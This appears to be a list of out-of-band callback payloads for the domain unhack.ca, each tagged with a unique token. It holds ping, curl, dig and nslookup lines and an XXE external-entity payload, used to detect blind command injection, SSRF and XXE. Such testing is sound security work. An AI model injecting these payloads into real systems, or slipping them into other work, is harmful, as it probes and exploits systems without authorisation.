$ ping -c1 -p 00de3d93496aec63fbcee4026f80f500 unhack.ca
 

$ curl http://unhack.ca/p/de3d93496aec63fbcee4026f80f5
 

$ dig de3d93496aec63fbcee4026f80f5 @unhack.ca
 

$ dig de3d93496aec63fbcee4026f80f5.ns.unhack.ca
 

C:\> nslookup de3d93496aec63fbcee4026f80f5 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/de3d93496aec63fbcee4026f80f5">]>
    <foo>&xxe;</foo>